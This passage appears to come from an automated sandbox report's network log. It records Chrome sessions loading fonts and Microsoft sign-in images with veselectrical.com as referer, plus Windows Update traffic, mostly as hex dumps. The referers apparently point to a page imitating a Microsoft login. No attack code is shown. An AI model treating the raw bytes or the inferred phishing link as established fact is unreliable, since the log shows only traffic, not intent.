e1 39 e4 67 92 6a 32 f2 b3 48 34 e4 57 68 99 4f fc 4a 48 5c 85 fc 1a a2 ab 91 5f 4b c2 93 c8 af d3 32 99 f8 ad Data Ascii: 8T'+T[o%)rArFX.F^uIy=C^~B\|MFDW!oIB#H8yw$^Fqpn&.A>x-G>-{b _Jt~GB+{.}\|T+FBo&~$NE~<uO 9gj2H4WhOJH\_K2
2024-11-18 23:01:25 UTC	1369	IN	Data Raw: 58 72 d3 f4 fc 72 58 32 f9 3e 8d 61 b9 12 71 43 37 4c 87 73 2f 8e dc 5e b5 3c cc 4e f3 83 72 18 33 26 71 c6 98 5c 24 9a 46 74 c7 11 82 9a 1a 21 84 50 6e fb ca 30 2d c9 d1 60 16 97 95 6a a3 16 84 b6 a5 b5 56 fb 17 4a 11 35 4a 99 c9 b9 e0 86 6e 50 d3 d4 4c 6e fb ae 61 52 f5 93 d5 ac 05 01 b3 48 2a 19 bb 1e a3 0e 00 a7 38 f5 e3 d9 15 00 98 a5 bd 36 45 d3 71 f3 e0 68 b8 91 1b a3 a2 37 2a b2 3c cb 4d 6a d2 38 89 13 c3 a4 bd 58 69 54 e4 7e 2e bc cf 16 c2 9e cf 18 b3 85 b0 71 cc d8 fc b7 aa be 8f e8 fb d5 cf bb 46 48 dd 0b f7 31 36 9f d9 42 d8 8c e1 d8 16 c2 be af 97 67 ad fa 3e 4e df f7 08 20 94 f7 76 f0 33 b8 0d e7 03 74 cc b4 bd 8e 76 35 fb 56 8b d1 26 9a 6f 46 12 37 f0 d6 d5 4f e2 1a 5a 7a 06 35 15 3a 45 7e fc 84 ed 5b d6 3d 8c 09 61 db f7 5a 96 6f 9b 9a c6 Data Ascii: XrrX2>aqC7Ls/^<Nr3&q\$Ft!Pn0-`jVJ5JnPLnaRH86Eqh7<Mj8XiT~.qFH16Bg>N v3tv5V&oF7OZz5:E~[=aZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49763	104.17.25.14	443	2872	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:01:25 UTC	655	OUT	GET /ajax/libs/font-awesome/6.1.1/webfonts/fa-brands-400.woff2 HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://veselectrical.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 23:01:25 UTC	975	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:01:25 GMT Content-Type: application/octet-stream; charset=utf-8 Content-Length: 105536 Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: "623a082a-19c40" Last-Modified: Tue, 22 Mar 2022 17:32:26 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 354145 Expires: Sat, 08 Nov 2025 23:01:25 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UZFWXD20X76mUY5zBmJH2jBpFzizkLXE9iR8jgzRal9hk7%2FFMsFGCCOLCkZMlMsPMXxg0jjkOse83t23kQQoZ%2FQGF4P5hn1R0NtBGACJ7ciX5TFwzIDHtreKyY9SDBkrmXP4erAS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8e4b9514ba444788-DFW alt-svc: h3=":443"; ma=86400
2024-11-18 23:01:25 UTC	394	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 01 9c 40 00 0a 00 00 00 02 af a4 00 01 9b f6 03 01 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 38 02 24 04 20 06 60 03 8f 50 00 8d 48 ca 8a a8 1c cb 8f 54 05 88 20 07 20 a5 d1 57 51 67 00 82 f3 00 00 b0 56 3f 0f aa 48 d7 49 ed 1e 00 55 d5 3a 31 b8 a9 1a 10 7e fa e5 b7 3f fe fa e7 bf bf 0a 8c dd 0d b1 8e eb f9 86 ff fa fd ca 73 fb ff 99 79 0b c4 2a 8a f0 85 59 ae 4b 45 46 c8 0e 94 1f b5 b1 ec 53 51 ab 52 5d d1 a4 48 11 48 40 95 6f 61 8e b6 88 fa e3 a3 7e 3f c4 dd 7b 26 40 67 36 69 8a fb 61 db db d0 55 12 e6 a5 e6 b0 7a 35 f5 a3 b8 78 c2 af a8 ff 3c aa ea df f3 00 bc 87 87 49 90 00 1e 87 c4 05 12 90 2c c9 22 09 12 b0 a5 d8 92 57 1a 37 76 e2 24 76 b3 7f 9c 74 8c e9 46 5d e9 da e9 58 ea 58 5b e9 1f 6b a9 fd Data Ascii: wOF2@8$ `PHT WQgV?HIU:1~?sy*YKEFSQR]HH@oa~?{&@g6iaUz5x<I,"W7v$vtF]XX[k
2024-11-18 23:01:25 UTC	1369	IN	Data Raw: bf 2d a5 62 f6 81 14 3e e2 d9 4e 45 24 63 ad 07 4f a9 09 41 54 e1 9f aa eb fb 93 77 20 e5 48 8d 41 f7 1b 79 4b 36 aa f1 50 59 51 95 03 e3 63 ef 25 c4 a5 b8 b4 fc ff f7 7d d3 ca 69 a4 36 ce d5 58 1b b7 b1 d1 18 17 3a 1f 44 7b 9f fb 82 7b df fb c1 7d 1f 08 ee ff 40 f0 3e 50 c1 03 aa 82 f7 81 0a 1e 50 7c 1f 80 d8 1f a8 92 1a 55 64 f7 42 51 ec 5e 25 b3 66 15 25 4d af 62 89 dd 8b 52 b7 7f 1f 68 f3 81 6a f3 50 55 6b cd 03 a9 e0 81 6c f3 8b 1a 03 92 63 8a ea a9 22 c7 d0 05 a2 a4 35 4b 6e b4 c8 a6 da 19 4a 63 b4 26 9a c9 26 9c 09 e3 22 95 14 39 1d 8c f1 d9 04 51 60 8c f3 c7 d0 de e4 fe 1a 6d 12 45 c0 c7 f2 3a 4d c6 0c ff bb a6 15 5c 88 90 79 49 4d 64 5a 5d be d5 5d aa 49 08 d8 2a a3 91 a2 23 74 f4 73 68 6b 97 75 dc e0 20 04 4c 64 99 5d 7b df c7 26 04 08 10 c0 c6 Data Ascii: -b>NE$cOATw HAyK6PYQc%}i6X:D{{}@>PP\|UdBQ^%f%MbRhjPUklc"5KnJc&&"9Q`mE:M\yIMdZ]]I*#tshku Ld]{&
2024-11-18 23:01:25 UTC	1369	IN	Data Raw: 2e b6 f9 2d b5 f6 c6 7a 73 3f b9 6c ec 30 7f fa 87 ae f7 5f 5c 5e a3 48 5f 0c c0 40 0c c3 08 8c c4 78 4c c3 2c cc df fe 24 dc 80 2d d8 86 53 b8 84 07 78 86 78 7c 83 cf d4 cc c8 6c cc c9 b2 2c c7 2a ac ce 86 ec c2 6e ec c9 c1 1c c6 49 9c c6 59 5c c1 95 78 d0 4b f4 4a bd 59 6f d7 bb f4 6e bd 4f 1f d3 97 f4 63 fd 5a bf 33 1d 4d 37 33 cc 8c 35 13 cd 34 33 d3 cc 37 cb cd 6a b3 de 6c 31 87 cc 39 73 d1 5c 31 db 6a 37 cc 3d f3 c0 bc 35 ef cd 97 ed fe 06 4c 96 1f e4 e7 f1 43 fc 18 bf 80 5f 68 fb 7d ff c9 ff e2 7f 0d 88 cb af ef 2a 9a dc 29 79 c4 2f 3d 2f 79 69 f2 de e4 83 c9 27 7f 77 de 26 7f 4c 29 99 52 e5 cb 77 f6 9b ec 07 d9 37 e9 a7 bf b3 e1 b9 5e b8 07 4f ba ef dd e7 ee 53 f7 98 7b 24 a1 6f 02 c5 bf 8f ef 1e 5f 32 5e c4 a5 c7 ed 8e db 1a 17 1d fb 42 dd 50 e7 Data Ascii: .-zs?l0_\^H_@xL,$-Sxx\|l,nIY\xKJYonOcZ3M735437jl19s\1j7=5LC_h})y/=/yi'w&L)Rw7^OS{$o_2^BP
2024-11-18 23:01:25 UTC	1369	IN	Data Raw: 60 59 b6 67 f5 9a a3 85 96 6d c7 dd 0b 1e 5a 39 61 c6 dc 69 b5 5a cb e8 9c b3 5d 47 9a 76 d6 2e 93 a4 d9 ec 44 60 7c 72 75 4d 3f a0 be bc 79 ec d2 d2 42 0b be 37 a5 4e 04 8d 03 18 d4 5c 6c 33 79 2f 56 b1 c0 55 fb 56 d5 34 1d 4d e3 bf f4 6b 60 9c 02 a8 6a 99 26 9e 34 df a9 e8 c2 75 1c 5c 70 96 86 5f a9 dc 4b 11 de b3 da 34 a6 d3 44 43 43 44 5c 70 31 b7 5a e4 d8 ad 69 96 ae 3b 71 3b 17 5c 24 69 86 41 ad 76 e5 f5 7f 87 c1 49 80 e1 a0 e8 16 83 21 90 d4 3d 0f c3 41 b1 5d 0c 86 f0 bc fa f3 ba ad 6a 15 a8 56 5b ef 43 a3 ed 66 6f 77 bf 3a 98 71 d8 7f 38 28 66 83 6a ab d9 6d d9 bf db 6c 55 df 86 6a b5 45 7d 82 ad 6a 15 f3 bd d6 0e 9b 8e b4 69 94 33 c7 62 15 ab aa d0 98 94 c5 cf 48 9f 4b 07 46 0d 76 0d 98 35 ee fb 8e 5b 73 db 34 d8 bd cd 67 db a1 03 32 a6 fa 50 39 Data Ascii: `YgmZ9aiZ]Gv.D`\|ruM?yB7N\l3y/VUV4Mk`j&4u\p_K4DCCD\p1Zi;q;\$iAvI!=A]jV[Cfow:q8(fjmlUjE}ji3bHKFv5[s4g2P9
2024-11-18 23:01:25 UTC	1369	IN	Data Raw: 62 d5 ef c7 31 de 43 04 ea 1c ec e3 32 76 e9 f8 7d 0c dc 19 ed d8 fd f2 0e 63 47 bb 16 b4 81 a8 22 76 34 de 43 fe f2 83 52 e0 17 ac f5 f4 f0 fa ca a1 86 63 18 3a 77 6c 77 73 32 69 45 3a 57 f5 ad 41 3a 54 ca 94 87 ce bc c2 e5 42 d7 6c c7 3d 35 1c 7a b5 ed df 3d 67 8e 34 43 c0 b1 6d 6e 3b ae 63 18 86 e2 86 6f 37 db 41 10 58 15 bf d3 9e 8e 17 56 07 ba 6d 7b 2e e7 5a a0 69 b6 13 77 2a af a3 2b ed f6 94 7f d4 da fc 36 33 23 17 27 74 1c 6a 9a 62 d6 ec 1f a8 d5 e0 b2 c1 9c bf 9a cb 84 75 91 a4 9b fe 0e ad 39 c8 88 5e 3f 7b f6 cb ec b0 a2 bc e1 86 b2 68 0e 07 85 78 87 eb f5 f8 de 85 a2 60 ac 28 2e 7c ef 11 cd fe de 6c 30 00 06 83 59 5d c7 75 a9 bf 8c 8b 34 d3 9e 43 d8 c2 7a 18 0b 21 f7 43 e5 ae 9e ff c2 17 19 8e e3 b8 86 ae e3 69 73 f9 f6 d9 58 75 fe ab 38 ea 1a Data Ascii: b1C2v}cG"v4CRc:wlws2iE:WA:TBl=5z=g4Cmn;co7AXVm{.Ziw*+63#'tjbu9^?{hx`(.\|l0Y]u4Cz!CisXu8
2024-11-18 23:01:25 UTC	1369	IN	Data Raw: bd 2c 77 0f bb 54 a5 98 0e 13 0d 0d 84 7e 24 f0 e4 cf a6 59 9a 0d 83 5e a0 25 b3 44 d7 53 c6 0b 0c f0 bb ea ac c4 8a ed 86 9e eb ba 61 e4 7a 9c db f3 3f c6 de d9 19 2a 4b ad 38 72 6c db 89 e2 66 c5 73 9d 23 5f e4 ae 1b c6 ae e7 79 91 63 db fc df e6 db d8 9b bf b2 de f2 dc 58 2d 2c c4 ca 75 0d c3 b9 ce 21 4e 74 b0 ff fc ce fb 1a ba 85 1e 41 cf a5 0f 10 95 b3 b5 35 cd d2 44 ba 9c 26 fa 49 3f 49 9f e4 84 0a a3 30 d2 9c 53 b1 8a cb 49 3e c9 a5 24 50 ba 3d d3 d9 74 56 98 39 45 a5 39 86 0b 2e ca ba 86 e2 62 a0 cc e5 08 da 31 5a 28 78 c2 93 7e d2 cf fa 59 3a 4b 67 d3 d9 b4 9c 96 45 5e e4 93 7c a2 26 2a 8e e2 28 8c 42 b1 df f5 7c 3f 58 5c 0c 84 ef ab 2b 32 f6 ea 8d 90 1b 06 8f ea 75 2f 96 06 29 bd 56 30 b6 bd 8a 57 c6 71 1c b7 56 57 5b 36 94 4a 2e d9 86 61 70 cb Data Ascii: ,wT~$Y^%DSaz?K8rlfs#_ycX-,u!NtA5D&I?I0SI>$P=tV9E9.b1Z(x~Y:KgE^\|&(B\|?X\+2u/)V0WqVW[6J.ap
2024-11-18 23:01:25 UTC	1369	IN	Data Raw: f3 a2 54 71 99 15 a5 9a cc b2 a2 54 93 b2 58 47 51 4e f3 b2 58 47 31 bb b7 78 0b 45 26 9a cd e6 a7 d3 2c 9f 1c c3 54 24 ee 4c 6f e9 72 ee 1b d2 65 c0 ec 1d c7 2a e1 55 eb 6f 22 56 59 59 ac 23 8f 92 b4 cc 8a 92 18 82 a3 1a 75 ae 98 0b 9e 28 85 72 45 36 ca 6c 66 a9 74 05 45 a9 e2 2d 2d 7e 3d c1 3b 88 45 d2 5f 44 28 b8 c8 dc 73 ea 54 a6 cf ca ff 2a 62 3c 51 b1 e0 09 fe 3f 46 cd 30 eb f0 75 d9 00 60 69 b2 c9 18 97 0d c6 c0 a4 d2 98 a1 99 91 a6 49 dd 0c 34 cd e3 dc d3 b4 c0 d4 25 c0 58 64 6a 06 d3 94 64 60 ac 21 39 63 0d 83 31 66 01 68 48 dd 47 dd 34 6a 88 39 8f af 71 2c 63 cc 68 7c 7d 2f a6 bd 58 8c 01 5f 8f 02 63 ea f3 e7 dd d4 9f 02 23 21 ee 77 75 73 b8 bc 94 9a 9a db 35 cd b7 69 da 1a 46 ba 65 71 30 4d 63 a6 b0 ae 37 a5 10 42 0a a1 eb 1e be 0b 21 4c d3 d4 Data Ascii: TqTXGQNXG1xE&,T$LoreUo"VYY#u(rE6lftE--~=;E_D(sTb<Q?F0u`iI4%Xdjd`!9c1fhHG4j9q,ch\|}/X_c#!wus5iFeq0Mc7B!L
2024-11-18 23:01:25 UTC	1369	IN	Data Raw: c8 b5 30 de d8 68 78 ae e7 d5 df 59 58 fb 2f e6 df eb 2b 05 28 d5 47 fb f3 69 6c 55 ab ad f9 f7 5a d5 6a b5 da 42 bb 55 ad 5e 39 f6 75 f3 fd f7 b8 9e 8a 3c f7 9d f7 b8 5e 1c 7b ee dd 50 aa 7f 9a e5 f3 d7 ff 1d ab 56 5b 95 03 2a 20 b2 c8 39 d8 c7 17 b0 4b 7d 3a 41 d7 d3 9d f4 58 7a 36 bd 94 de 4c ef a7 cf 12 95 83 bb 35 9b ae 63 2d 9d fa e0 8b 08 3b 30 32 e6 1d 83 8a 73 d5 f7 31 4b 9d 34 3a f2 78 99 68 17 bb 05 bc e3 84 56 94 e3 02 a1 75 44 14 2b bb c7 91 69 a6 b6 7f ea ec 53 8b 39 6a 0e 29 fb 7b 2f 8e 8e dd 29 9f d0 98 e6 80 3d fd 5a c3 88 0d e3 61 86 11 6b 4c d7 b4 a7 01 6f 61 da 83 61 f8 1e c7 83 99 26 61 3c 9c 31 8d 3d 5c 07 93 43 8f 73 6e 3a 8e a9 b1 68 db e3 42 08 b7 6c b6 b6 85 ae 78 7b ef ee ed 63 ba 8f ef b7 eb 9b 1e e7 3c 5b fc c9 e2 4f 35 df 86 Data Ascii: 0hxYX/+(GilUZjBU^9u<^{PV[* 9K}:AXz6L5c-;02s1K4:xhVuD+iS9j){/)=ZakLoaa&a<1=\Csn:hBlx{c<[O5
2024-11-18 23:01:25 UTC	1369	IN	Data Raw: 1d bf 80 f9 ef c1 58 7e 1d 6f d9 00 a6 d0 3f 87 fa 9b bf 8c 01 9a 21 ab 17 f8 6f 46 d8 a3 15 da a6 8b f4 28 22 c4 62 82 0d f5 d2 90 86 20 b7 b1 35 3b c8 67 97 e6 b0 fa b5 c7 22 cd d2 a4 d7 17 7c 11 a1 53 c2 cd 8c 78 86 d2 f7 8d 63 8f 50 e3 bc fe 8a a2 18 fe a5 c1 d0 6c 2c cd bf b2 d4 68 02 cd c6 d2 62 43 82 14 5b 67 6f b9 56 ba d8 ab 33 1b 8b 4b 8d 0c 96 f4 e6 7b 9e 25 a5 e5 61 db b3 24 e6 3f 96 80 94 be 27 2d 4b 7a 9e f5 ed aa f5 3c 5f 5a 90 96 e7 49 dc d2 ca 7e e3 d4 15 34 57 7e 25 6b 35 d0 34 3d d7 94 f2 cc 19 29 4d d7 33 9b 68 5c ed 4b 29 a5 ff 1d 2f 36 a1 dd f2 be b3 22 bd de 49 e7 5b 45 5c ce 49 e9 06 b6 83 6d ba 48 77 d3 13 e8 b9 f4 46 bc 24 20 36 50 85 19 0c 03 b1 7a c6 51 14 e5 68 96 f4 a5 ed e1 32 17 ba d7 14 5c f0 64 34 e6 c9 68 dc 47 53 76 e0 Data Ascii: X~o?!oF("b 5;g"\|SxcPl,hbC[goV3K{%a$?'-Kz<_ZI~4W~%k54=)M3h\K)/6"I[E\ImHwF$ 6PzQh2\d4hGSv
2024-11-18 23:01:26 UTC	1369	IN	Data Raw: 07 49 8f 44 00 14 6e 44 e3 31 8d a2 ac f5 87 86 6e cc a7 00 af 4a ce 9e b8 f6 da 33 67 56 ca 06 6d 1d 10 9f dd 40 60 c8 39 dd a6 74 9b 72 8e 0c b0 71 27 df 3f 79 c7 9d 17 ce c7 dd 21 0f 72 50 ff 3d c9 11 e8 39 c6 38 65 ec 64 a3 3f 6a 51 c6 19 05 a0 f9 f8 0e cc 27 e3 9c 02 3d 4f 39 a3 40 e9 61 a3 3f 6c 53 ce 18 8b 39 ea 3d bc fa 0c f6 e0 69 32 22 d7 13 12 90 c8 50 16 4c 2e aa 04 c3 5d 80 9e 61 ac 67 67 d2 70 96 0e ea b1 6d 10 d2 d4 57 5e 0a 39 81 77 d8 fa 70 d0 ef 0f 0e 95 65 d4 8f 6a 00 ad 1c 5b 7d e7 ad d0 6c 4e 83 4a f3 ec 5f b3 ad c3 7e bf df 3f d4 7b e5 6a e5 d8 fa 3b 6e 85 66 63 6a be 54 04 4f 83 d8 dc d9 39 38 dc d9 d9 14 00 ea 47 b4 6d 6b ad 3f 79 ee ce ad 8d f5 a1 b4 6d cb a2 c7 47 bf 3f cf c3 83 42 b7 8f 37 36 72 69 db 46 53 42 14 f1 ae fe 0a fc Data Ascii: IDnD1nJ3gVm@`9trq'?y!rP=98ed?jQ'=O9@a?lS9=i2"PL.]aggpmW^9wpej[}lNJ_~?{j;nfcjTO98Gmk?ymG?B76riFSB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49765	152.199.21.175	443	2872	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:01:26 UTC	424	OUT	GET /shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 23:01:26 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 20626058 Cache-Control: public, max-age=31536000 Content-MD5: 1jQlecEJaGhFO2st5KXLhg== Content-Type: image/svg+xml Date: Mon, 18 Nov 2024 23:01:26 GMT Etag: 0x8DB5C3F4AC59B47 Last-Modified: Wed, 24 May 2023 10:11:51 GMT Server: ECAcc (lhc/78BB) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 2ee1dbb1-b01e-00dc-3276-7e9a59000000 x-ms-version: 2009-09-19 Content-Length: 1636 Connection: close
2024-11-18 23:01:26 UTC	1636	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 33 38 2c 31 34 48 31 30 56 33 34 48 33 38 56 31 34 6d 32 2c 32 32 48 38 56 31 32 48 34 30 56 33 36 4d 31 37 2e 36 38 38 2c 31 38 2e 38 56 32 38 2e 38 32 38 48 31 35 2e 35 33 31 56 32 31 2e 32 33 34 61 33 2e 32 2c 33 2e 32 2c 30 2c 30 2c 31 2d 2e 36 37 32 2e 34 33 6c 2d 2e 32 36 36 2e 31 31 37 61 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M38,14H10V34H38V14m2,22H8V12H40V36M17.688,18.8V28.828H15.531V21.234a3.2,3.2,0,0,1-.672.43l-.266.117a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49770	13.107.246.64	443	2872	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:01:30 UTC	654	OUT	GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://veselectrical.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 23:01:30 UTC	805	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:01:30 GMT Content-Type: image/svg+xml Content-Length: 673 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:46 GMT ETag: 0x8DB5C3F47E260FD x-ms-request-id: 4c9c95fe-801e-000f-7690-36c285000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241118T230130Z-16559997f87vprq2hC1DFWczdn00000000f000000000cxyn x-fd-int-roxy-purgeid: 4554691 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:01:30 UTC	673	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 21 02 39 81 41 Data Ascii: Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9!9A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49769	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:01:30 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=YKWnBYS7D2bO6mt&MD=h95YpyFg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-18 23:01:30 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 1769a6d9-1e90-42b0-991b-9a38b71c9493 MS-RequestId: 28543f3f-98f8-45bc-9fce-88ce9419daca MS-CV: obwKxJTjeUihWVWR.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 18 Nov 2024 23:01:29 GMT Connection: close Content-Length: 24490
2024-11-18 23:01:30 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-18 23:01:30 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49772	13.107.246.45	443	2872	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
